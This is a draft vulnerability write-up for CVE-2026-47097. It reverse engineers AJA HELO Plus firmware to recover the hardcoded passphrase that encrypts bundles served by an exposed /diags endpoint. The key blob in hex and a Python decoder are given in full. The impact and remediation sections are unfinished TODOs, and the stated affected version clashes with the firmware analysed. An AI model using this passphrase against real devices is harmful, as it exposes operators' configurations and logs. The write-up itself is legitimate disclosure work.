> For the complete documentation index, see [llms.txt](https://samfisher91.gitbook.io/samfisher-blog/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://samfisher91.gitbook.io/samfisher-blog/common-vulnerabilities-and-exposures/cve-2026-47097.md).

# CVE-2026-47097

https\://www\.aja.com/security-advisories/aja-sa-2026-003

Hi everyone, I'll walk through the methodology and steps I took to find and confirm this finding.

## Background

**What is AJA HELO Plus?**

It's a compact, standalone H.264 streaming and recording appliance made by [AJA Video Systems](https://www.aja.com/products/helo-plus). It lets you broadcast live video up to 1080p60 while simultaneously recording the feed.

This product is widely used across several industries, including Houses of Worship, Education & Teaching Hospitals, Corporate & Conference Producers, and Sports & On-Site Broadcast.

**The Setup**

I was auditing an AJA HELO Plus streaming appliance. The device is a small rack-mount video encoder used for live streaming — it sits on broadcast networks, has a web UI, and handles RTMP/RTSP/SRT credentials, recording schedules, and licensing.

My scope was the firmware, not a black-box test: AJA publishes the firmware image publicly on their support portal.

The methodology was deliberately unglamorous. No fuzzing harness, no symbolic execution. Just: extract, inventory, read, pivot.

## Getting to the Filesystem

AJA ships firmware as a `.ajas` archive. The extraction chain is nested, and each layer hides the next:

```
AJA_HELO_v4.3.zip
  └── helo_4.3.0.8_12_release.ajas     (gzip → tar)
        └── rootfs.img                 (uImage, 64-byte legacy header)
              └── cpio.gz
                    └── rootfs/        (~218 MB of ARM userland)
```

That gives us the appliance's entire runtime filesystem, exactly as it boots on the device.

<figure><img src="https://content.gitbook.com/content/4TFAEQ86UXTLdhGzyRhz/blobs/L028yZAOmhqs16nMwTaH/image.png" alt=""><figcaption></figcaption></figure>

My goal was to find all the source code behind the exposed HELO Plus status page — the device's web GUI.

<figure><img src="https://content.gitbook.com/content/4TFAEQ86UXTLdhGzyRhz/blobs/1tmZoKbmYeh9YZBITjfi/image.png" alt=""><figcaption></figcaption></figure>

After spending hours digging through the extracted filesystem and working out how the pieces fit together, two things stood out:

* **The web application's source files** — `/var/www/html` holds the panel's templates and JavaScript.

<figure><img src="https://content.gitbook.com/content/4TFAEQ86UXTLdhGzyRhz/blobs/GKLqoNDQiGqHBVePMLTH/image.png" alt=""><figcaption></figcaption></figure>

* **The daemon that serves them** — `/etc/systemd/system/aja-webd.service` shows what actually runs: `ExecStart=/usr/local/bin/webd -d`.

<figure><img src="https://content.gitbook.com/content/4TFAEQ86UXTLdhGzyRhz/blobs/sw0QqAdY42lWyAB7zDRy/image.png" alt=""><figcaption></figcaption></figure>

`webd` is the real web server behind the HELO Plus interface — the process that answers on port 80 and renders the panel.

## Finding the /diags Endpoint

I started with string triage on `webd`, the 731 KB binary behind the web interface. The goal was endpoint enumeration: find the handlers, work out what they do.

<figure><img src="https://content.gitbook.com/content/4TFAEQ86UXTLdhGzyRhz/blobs/8LRbET7AZjXGp0LMC4X4/image.png" alt=""><figcaption></figcaption></figure>

This is where I found the first piece of the finding. Digging through `webd` for anything useful turned up a lot of valuable information, and `/diags` was one of those strings.

So I tested it. The server immediately handed me an encrypted `.aes` file.

<figure><img src="https://content.gitbook.com/content/4TFAEQ86UXTLdhGzyRhz/blobs/hC95AbsUBpgztDgGKEt7/image.png" alt=""><figcaption></figcaption></figure>

<figure><img src="https://content.gitbook.com/content/4TFAEQ86UXTLdhGzyRhz/blobs/Ft2zuXjoPuaGtdvGtBlW/image.png" alt=""><figcaption></figcaption></figure>

The format is `diags_<SERIAL>_<UNIX_EPOCH>.aes`.

As you can see from Burp Suite and `xxd`, there was a mention of `Salted__` — notice the hex value of these bytes.

![](https://2459792242-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4TFAEQ86UXTLdhGzyRhz%2Fuploads%2FapJxOhEPFFJS9kRj0SCS%2Fimage.png?alt=media\&token=e1c57ae1-f146-46fb-ba05-bc59285b4c89)

After a lot of searching, most of which pointed to OpenSSL, the smoking gun was in this [blog](https://medium.com/asecuritysite-when-bob-met-alice/the-strange-tale-of-the-disappearing-salt-meet-openssl-65153d6f43a5#:~:text=/Ek%3D-,If,-we%20convert%20this).

<figure><img src="https://content.gitbook.com/content/4TFAEQ86UXTLdhGzyRhz/blobs/xcEG6WLAfdMNbZqwPHcb/image.png" alt=""><figcaption></figcaption></figure>

Eight bytes spelling `Salted__` matched exactly, which confirmed it was OpenSSL.

I went back to the `webd` binary and checked whether OpenSSL was referenced and used elsewhere.

<figure><img src="https://content.gitbook.com/content/4TFAEQ86UXTLdhGzyRhz/blobs/0ZmBtKQtsbBsjUXocM4L/image.png" alt=""><figcaption></figcaption></figure>

### What does the /diags endpoint actually do?

With confirmation that OpenSSL was being used by `webd`, I found the relevant offset at `0x0974c2`, so I decided to look 2000 bytes before and after it to see the bigger picture.

<figure><img src="https://content.gitbook.com/content/4TFAEQ86UXTLdhGzyRhz/blobs/fB3dPpesqGaVl9Yf6JiR/image.png" alt=""><figcaption></figcaption></figure>

That's unmistakably the creation process of the `.aes` file. Here's the readable version:

<figure><img src="https://content.gitbook.com/content/4TFAEQ86UXTLdhGzyRhz/blobs/s5F6Rf79LOPAy5vhdptd/image.png" alt=""><figcaption></figcaption></figure>

Now we clearly understand what this `.aes` file contains.

{% hint style="info" %}
This is a firmware diagnostic-export feature: it collects logs, config dumps, and system info into `/tmp/<dir>`, tars it into a `.tgz`, then encrypts that archive with `openssl aes-256-cbc -pass pass:'<hardcoded password>'`, and deletes the plaintext `.tgz` afterward. The result becomes `diags_<SERIAL>_<UNIX_EPOCH>.aes`.
{% endhint %}

It appears to be a customer-support feature: if a client has a problem, they can export these diagnostic files and send them to the vendor, which helps the vendor identify the issue.

## Reverse Engineering the Passphrase

### Tracing the Hardcoded Password String

Now to hunt for the hardcoded password and find exactly where it's stored.

<figure><img src="https://content.gitbook.com/content/4TFAEQ86UXTLdhGzyRhz/blobs/jnMEA0aIk8cu5DzYeYHr/image.png" alt=""><figcaption></figcaption></figure>

```
000974f2: 247b 6165 736e 616d 657d 202d 7061 7373  ${aesname} -pass
00097502: 2070 6173 733a 2700 0000 2720 3b20 0a09   pass:'...' ; ..
          └── " pass:'" ──┘└pad┘└─── next literal ───┘
```

**What this means:** A C string literal is NUL-terminated. So `"...-pass pass:'"` genuinely ends at `0x97509`. The passphrase is not stored right after it — if it were, it would appear on the same line, before the NUL.

Instead, the closing quote lives at a different address.

### Converting File Offsets to VMAs

To find it, I need to convert to virtual addresses (VMA). `strings` reports byte positions within the file, but the disassembler and the CPU operate on virtual memory addresses. The ELF program headers define the mapping:

<figure><img src="https://content.gitbook.com/content/4TFAEQ86UXTLdhGzyRhz/blobs/IjKZ0R2wLZSSyrBi3T2H/image.png" alt=""><figcaption></figcaption></figure>

This means file offset `0x0` is loaded at VMA `0x10000`. Therefore every file offset simply adds `0x10000` to become its VMA. We convert the two key strings:

**Equation**

```
VMA = file_offset + 0x10000
```

| String          | File offset | VMA (= offset + 0x10000) |
| --------------- | ----------- | ------------------------ |
| `dirname='`     | `0x96a48`   | `0xa6a48`                |
| `-pass pass:'`  | `0x974c2`   | `0xa74c2`                |
| `' ; …` trailer | `0x9750c`   | `0xa750c`                |

I used radare2 to reverse engineer the binary — first confirming the list of all strings containing `pass` or `dirname` and their addresses.

<figure><img src="https://content.gitbook.com/content/4TFAEQ86UXTLdhGzyRhz/blobs/ZSB1GKjLfFF4F0geWNbS/image.png" alt=""><figcaption></figcaption></figure>

### Tracing the /diags Handler

Now, what references the trailer that follows the password slot?

<figure><img src="https://content.gitbook.com/content/4TFAEQ86UXTLdhGzyRhz/blobs/A8pU31mciNQ9WLc1WN2c/image.png" alt=""><figcaption></figcaption></figure>

`0xa74c2` → `-pass pass:'` offset (no output)

![](https://content.gitbook.com/content/4TFAEQ86UXTLdhGzyRhz/blobs/YdJuHvCrnxw8Lcc6dcmy/image.png)

`0xa74c2` sits 2,666 bytes inside the blob that starts at `0xa6a58`:

```
0xa74c2 − 0xa6a58 = 0xa6a = 2666
```

The compiler emitted one pointer for that blob, never one for an interior offset. This empty result is evidence, not failure — it's the first proof that the password is not a stored literal.

<figure><img src="https://content.gitbook.com/content/4TFAEQ86UXTLdhGzyRhz/blobs/QMaSDefGHabTETBAmwh9/image.png" alt=""><figcaption></figcaption></figure>

<figure><img src="https://content.gitbook.com/content/4TFAEQ86UXTLdhGzyRhz/blobs/O6omc5upvPoesUc3Uuai/image.png" alt=""><figcaption></figcaption></figure>

That's the `/diags` handler. An address is now a vulnerability.

The assembly shows the script built in three chunks, with the middle one coming from a call:

```
0x88de8   bl fcn.00089218        ; passphrase builder → out at r7+0x3c
0x88e0c   bl fcn.00033378        ; + script body 0xa6a58 ( ends "-pass pass:" )
0x88e30   bl fcn.00033378        ; + trailer     0xa750c ( "' ; ..." )
```

### The Password Decoder Function

`fcn.00089218` — I'll call this the passphrase-builder function — has exactly one caller in the binary. Its 12 core instructions:

```
0x89240  ldrb r4, [r3]        ; a = src[i]
0x89244  adds r3, 0x12        ; src + 18
0x89252  ldrb r3, [r3]        ; b = src[18 + i]
0x89254  subs r3, r4, r3      ; a - b
0x89256  uxtb r3, r3          ; mod 256
```

**How the decoder looks in C**

```c
for (int i = 0; i <= 0x11; i++)
    out[i] = (uint8_t)(src[i] - src[0x12 + i]);
std::string passphrase(out, out + 0x11);   // 17 chars
```

<figure><img src="https://content.gitbook.com/content/4TFAEQ86UXTLdhGzyRhz/blobs/OFbzQR4wy3LVAwpZUPOv/image.png" alt=""><figcaption></figcaption></figure>

In short, here's what's happening:

```
0x88ddc  add.w r3, r7, 0x3c        ; dest for password
0x88de0  add.w r2, r7, 8           ; &36-byte blob copied onto stack
0x88de8  bl fcn.00089218           ; ← password built into r7+0x3c
0x88dec  add.w r3, r7, 0x54
0x88df0  add.w r2, r7, 0x40        ; dirname value
0x88df6  add r1, pc                ; 0xa6a48 "\t\tdirname='"
0x88dfa  bl std::operator+         ; r7+0x54 = prefix + dirname
0x88e08  add r2, pc                ; 0xa6a58 script body
0x88e0c  bl fcn.00033378           ; r7+0x50 = script body
0x88e14  add.w r2, r7, 0x3c        ; the password
0x88e1e  bl fcn.000333b0           ; r7+0x4c = r7+0x50 + password
0x88e2c  add r2, pc                ; 0xa750c trailer "' ; ..."
0x88e30  bl fcn.00033378           ; r7+0x38 = r7+0x4c + trailer
```

The password enters at `0x88e14` and the trailer is appended last at `0x88e30`. Final shape:

```
… -pass pass:'  +  <password>  +  ' ; …
                 └── spliced here ──┘
```

### The Three NUL Bytes

<figure><img src="https://content.gitbook.com/content/4TFAEQ86UXTLdhGzyRhz/blobs/Pi9WVgGpHWlvmVnT0PxX/image.png" alt=""><figcaption></figcaption></figure>

| Address             | Byte          |                                   |
| ------------------- | ------------- | --------------------------------- |
| `0xa7504`–`0xa7507` | `61 73 73 3a` | `pass:`                           |
| `0xa7508`           | `27`          | `'` **opens** the password quote  |
| `0xa7509`           | `00`          | pad                               |
| `0xa750a`           | `00`          | pad                               |
| `0xa750b`           | `00`          | pad                               |
| `0xa750c`           | `27`          | `'` **closes** it, trailer begins |

The three zeros are one terminator plus two fillers. This is not where the password is stored — it's where the password gets inserted.

```
… -pass pass:'   00 00 00   ' ; …
              └── gap ──┘
                   ↑
      password is spliced here at runtime
```

### Locating the 36-Byte Blob

At this point we know the password gets built by `fcn.00089218` and spliced in at `0x88e14`. That function doesn't know where the 36 bytes live — the handler hands it a pointer.

```
0x88db0  ldr r3, aav.0x0001e872
0x88db2  add r3, pc
0x88db4  mov r4, r3              ; r4 = the blob
0x88db6  add.w r6, r7, 8         ; where to copy it
0x88dba  add.w lr, r4, 0x20      ; loop end = blob + 32
```

The `add r3, pc` instruction reads the program counter, and on ARM the PC already points four bytes past the instruction being executed — the CPU has moved on to the next one. So:

```
PC = 0x88db2 + 4 = 0x88db6
```

Forget the `+4` and you get `0xa7624`. Align the address to a 4-byte boundary instead, and you get `0xa7626`. Both are wrong, and both are only two bytes off — close enough to look plausible in a hexdump.

**Prove the address before trusting it**

```
0x88db6 + 0x1e872 = 0xa7628  
0x88db4 + 0x1e872 = 0xa7626  
0x88db2 + 0x1e872 = 0xa7624  
```

<figure><img src="https://content.gitbook.com/content/4TFAEQ86UXTLdhGzyRhz/blobs/IqEdWwq7F81Q6G4LLRJ7/image.png" alt=""><figcaption></figcaption></figure>

Only one of the three addresses resolves — the check is valid now.

**Dump the 36 bytes**

<figure><img src="https://content.gitbook.com/content/4TFAEQ86UXTLdhGzyRhz/blobs/5RbVQeNJgrBzebcYd1uG/image.png" alt=""><figcaption></figcaption></figure>

Thirty-six bytes, and nothing about them says "key." No ASCII, no pattern, no structure — they're indistinguishable from noise. That's deliberate: this is what the blob was *designed* to look like.

**Why exactly 36**

Two independent facts predicted that length before we dumped it:

| Where                        | What it says                         |
| ---------------------------- | ------------------------------------ |
| `0x89244 adds r3, 0x12`      | the second half starts 18 bytes in   |
| `0x89272 cmp r3, 0x11`       | the loop runs 18 times               |
| `0x88dba add.w lr, r4, 0x20` | only 32 bytes are copied in the loop |

18 + 18 = 36, and 32 bytes in the loop plus the 4-byte tail at `0x88dd4` = 36. Three separate places in the code agree on the size. If our dump were 34 or 38 bytes, something would be wrong.

**Split it into the two halves**

(Note: hex `0x12` is 18, not 12.)

<figure><img src="https://content.gitbook.com/content/4TFAEQ86UXTLdhGzyRhz/blobs/ZBZ2pj64AzzbI9cktsXp/image.png" alt=""><figcaption></figcaption></figure>

```
A = e0 d7 c6 04 78 90 7c 6a 82 8f 05 cc 2c d8 af 79 f6 43
B = 7a 6b 93 92 16 6c 14 fc 1d 1d a3 a6 02 71 7f 07 8b 43
```

**One detail to notice:**

```
A[17] = 0x43
B[17] = 0x43     ← identical
```

**Cross-check through the other address space**

Same bytes, read at file offset `0xa7628 − 0x10000 = 0x97628`:

<figure><img src="https://content.gitbook.com/content/4TFAEQ86UXTLdhGzyRhz/blobs/tGroDb0xcijfebv7zPM1/image.png" alt=""><figcaption></figcaption></figure>

Byte-for-byte identical to the r2 read. Two tools, two address spaces, same result.

### Recovering the Passphrase

Here's a simple annotation of how the password decoder function works:

```
CC A[i] @ 0x89240
CC A + 18 @ 0x89244
CC B[i] @ 0x89252
CC A[i] - B[i] @ 0x89254
CC & 0xFF @ 0x89256
CC out[i] = r7+0x10 @ 0x89266
CC i <= 17 @ 0x89272
```

The routine is eighteen iterations of a single subtraction. It loads one byte from the first half, one from the same index in the second half, subtracts them, masks to eight bits, and repeats.

```python
key = bytes.fromhex("e0d7c60478907c6a828f05cc2cd8af79f643"
                    "7a6b9392166c14fc1d1da3a602717f078b43")

pw = bytes((key[i] - key[i+18]) & 0xFF for i in range(18))
print(pw.rstrip(b"\x00").decode())
```

![](https://content.gitbook.com/content/4TFAEQ86UXTLdhGzyRhz/blobs/8HOAgltm2GogzABxUbEm/image.png)

Now we have the password. Let's try to open the diagnostic file.

<figure><img src="https://content.gitbook.com/content/4TFAEQ86UXTLdhGzyRhz/blobs/RBdRVSIUmKdHUwbCBJWq/image.png" alt=""><figcaption></figcaption></figure>

## Impact

> **TODO — fill in before publishing.**
>
> * What can an attacker do with this password? (e.g., decrypt any diagnostics bundle exported from any device running the affected firmware, since the passphrase is hardcoded and identical across units)
> * What access level does an attacker need? (network access to the web UI? physical access? authenticated or unauthenticated?)
> * What's exposed inside the diagnostics bundle once decrypted? (credentials, configs, logs, anything sensitive?)

## Disclosure Timeline

> **TODO — fill in before publishing.**
>
> * Date reported to AJA
> * Vendor acknowledgment date
> * Patch/fix released date
> * Public disclosure date
> * CVE assignment date

## Remediation

> **TODO — fill in before publishing.**
>
> * Affected versions: AJA HELO Plus < 2.1.7
> * Fixed version / update instructions
> * Any mitigations available for users who can't update immediately (e.g., restrict network access to the web UI)
